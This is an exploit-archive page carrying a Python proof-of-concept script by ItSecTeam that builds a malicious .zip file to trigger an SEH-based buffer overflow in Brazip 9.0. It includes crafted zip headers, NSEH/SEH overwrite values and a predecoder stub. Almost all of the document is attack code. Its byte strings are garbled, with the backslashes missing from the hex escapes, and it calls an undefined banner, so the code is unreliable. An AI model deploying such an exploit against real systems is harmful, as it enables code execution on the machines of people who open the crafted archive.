[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Brazip 9.0 (.zip File) Buffer Overflow (SEH)
# Published : 2010-08-17
# Author : ItSecTeam
# Previous Title : Acrobat Acrobat Font Parsing Integer Overflow Vulnerability
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#!user/bin/python
######################################################################
# Brazip 9.0 (.zip File) BoF Poc (SEH)
# Homepage : www.brazip.com.br
# Version : 9.0
# Tested Os : Windows XP SP1/SP3 EN
# Usage : $ Python Brazip-poc.py
######################################################################
#AUTHOR: ITSecTeam
#Email: Bug@ITSecTeam.com
#Website: http://www.itsecteam.com
#Forum : http://forum.ITSecTeam.com
#Advisory: www.ITSecTeam.com/en/vulnerabilities/vulnerability60.htm
#Thanks: Hoshang jafari aka [PLATEN]
######################################################################
import sys
print __banner__
header_1 =("x50x4Bx03x04x14x00x00"
"x00x00x00xB7xACxCEx34x00x00x00"
"x00x00x00x00x00x00x00x00"
"xe4x0f"
"x00x00x00")
header_2 = ("x50x4Bx01x02x14x00x14"
"x00x00x00x00x00xB7xACxCEx34x00x00x00"
"x00x00x00x00x00x00x00x00x00"
"xe4x0f"
"x00x00x00x00x00x00x01x00"
"x24x00x00x00x00x00x00x00")
header_3 = ("x50x4Bx05x06x00x00x00"
"x00x01x00x01x00"
"x12x10x00x00"
"x02x10x00x00"
"x00x00")
nseh="x41x41x41x41"
seh="x65x47x7ex6d"
payload = "A" * 297 + nseh + seh
predecoder = "x59x59x59x51x5c"
payload=payload+predecoder
filltoebx="B" * (100-len(predecoder))
rest = "C" * (4064-len(payload+filltoebx)) + ".txt"
payload = payload+filltoebx+rest
exploit = header_1 + payload + header_2 + payload + header_3
try:
f=open("Brazip-poc.zip",'w')
f.write(exploit)
f.close()
print "[+] File created successfully !"
sys.exit(0)
except:
print "[-] Error cant write file to systemn"